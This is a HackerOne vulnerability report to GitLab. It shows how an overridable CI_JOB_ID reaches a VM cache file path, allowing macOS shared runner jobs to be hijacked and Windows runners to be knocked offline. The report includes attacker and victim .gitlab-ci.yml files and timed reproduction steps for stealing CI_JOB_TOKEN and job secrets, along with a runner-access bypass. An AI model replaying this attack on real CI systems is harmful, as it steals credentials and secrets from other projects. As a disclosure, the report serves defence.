MacOS shared runner jobs can be arbitrarily hijacked and Windows runners can be DoS'ed (re-submission)
HackerOne report #1948598 by pwnie on 2023-04-15, assigned to @cmaxim:
Report | Attachments | How To Reproduce
Report
Summary
MacOS and Windows shared runners on Gitlab.com use the autoscaler driver for the custom executor of Gitlab Runner. Windows shared runners use v0.1.0 and MacOS shared runners use later version v0.8.1. These are coincidentally both using an outdated function for naming runners. In v0.8.1 it is the VMName function in providers/orka/provider.go:
func (p *Provider) VMName(runnerData vm.NameRunnerData) string {
jobID := strconv.FormatInt(runnerData.JobID, 10)
// strip vmTag to stay under Orka's 38 chars limit
lenTag := 38 - len("runner--") - len(jobID)
vmTag := p.vmTag
if len(vmTag) > lenTag {
vmTag = vmTag[:lenTag]
}
parts := []string{
"runner",
vmTag,
jobID,
}
return strings.ToLower(strings.Join(parts, "-"))
}
and in v0.1.0 it's NewName in vm/name.go:
func NewName(vmTag string, runnerData NameRunnerData) string {
jobID := strconv.FormatInt(runnerData.JobID, 10)
// strip vmTag to stay under Orka's 38 chars limitvm
lenTag := 38 - len("runner--") - len(jobID)
if len(vmTag) > lenTag {
vmTag = vmTag[:lenTag]
}
parts := []string{
"runner",
vmTag,
jobID,
}
return strings.ToLower(strings.Join(parts, "-"))
}
The code is using a user supplied jobID in the runner name, which is then used in a filename for caching VM instances:
type Instance struct {
Name string
IPAddress string
// For machine authentication
Username string
Password string
PrivateSSHKey []byte
GCP gcp.Instance
Orka orka.Instance
}
providers/cache.go:
func (d *fsCacheStore) vmFilePath(vmName string) string {
return filepath.Join(d.directory, fmt.Sprintf("%s.json", vmName))
}
Above we can see that vmName is directly appended to a file path. Not only does this lead to directory traversal, but also doesn't take into account this is being used in a critical operation: the caching of VMs. After a machine is created with a provider, its connection info and metadata is stored in this file on the runner manager so that it can be used in subsequent calls to autoscaler.
One can overwrite the CI_JOB_ID predefined variable to control this value. Assume the following attack scenario:
- Victim starts pipeline
- Attacker grabs job ID associated with the job they want to hijack
- Attacker sets the
CI_JOB_IDon a malicious job to this ID (on the same runner manager as their target job) - autoscaler of Victim job uses the cached VM details of the attacker on subsequent connections
MacOS jobs can be hijacked and DoS'ed while Windows runners can only be DoS'ed due to name collision errors when using the same job ID as someone else.
Side Bug: MacOS shared runners are available to anyone without requesting access first. One can set the CI_PROJECT_URL environment variable to an already approved project found under the Issues of https://gitlab.com/gitlab-com/runner-saas-macos-access-requests.
Steps to reproduce
- Create a
.gitlab-ci.ymlconfig with the following content in a private test project (we'll call this project victim):
victim:
variables:
CI_PROJECT_URL: https://gitlab.com/c5446/olive-pays-test
image: "macos-11-xcode-12"
script:
- cat ~/.ssh/authorized_keys
- sleep 40
after_script:
- echo "I am victim. We do CI operations."
- cat ~/.ssh/authorized_keys
- sleep 600
tags:
- shared-macos-amd64
- primary
- Create a
.gitlab-ci.ymlconfig with the following content in another private test project but replace TARGET/REPO with the path of the victim project Ex: mygroup/myproject (we'll call this project attacker):
stages:
stages:
- pwn
attacker:
when: delayed
start_in: 12 seconds
stage: pwn
variables:
CI_PROJECT_URL: https://gitlab.com/c5446/olive-pays-test
CI_JOB_ID: "4119853068"
image: "macos-11-xcode-12"
script:
- cat ~/.ssh/authorized_keys
- mkdir -p /Users/gitlab/builds/TARGET/REPO
- sleep 60
- ps aux
- sleep 600
tags:
- shared-macos-amd64
- primary
- Open the pipeline editor of the attackers project so you can edit
.gitlab-ci.yml - Go back to the victims project, run a job, and quickly copy it's job ID
- Go back to the pipeline editor of the attacker, quickly insert the job ID into
INSERT_JOB_ID_HEREand save your changes (it is important you copy the job ID quickly, all of this can be automated in a real world scenario) - Observe the attacker job log output and wait for the
ps auxcommand to execute for the victims job variables - Ctrl+F
CI_JOB_TOKENto confirm
You can also easily crash a running job(s) using this bug. I wont demonstrate that since it's obvious how it can be done.
Impact
Attacker can hijack arbitrary MacOS shared runner jobs and steal job variables which leads to project authentication via CI_JOB_TOKEN. Secrets are also disclosed. Windows shared runner jobs can only be DoS'ed. One can target jobs at scale using parallel jobs, making this even more critical.
VIdeo PoC
Screencast_from_03-23-2023_06_59_32_PM.webm
Impact
Attacker can hijack arbitrary MacOS shared runner jobs and steal job variables which leads to project authentication via CI_JOB_TOKEN. Secrets are also disclosed. Windows shared runner jobs can only be DoS'ed. One can target jobs at scale using parallel jobs, making this even more critical.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: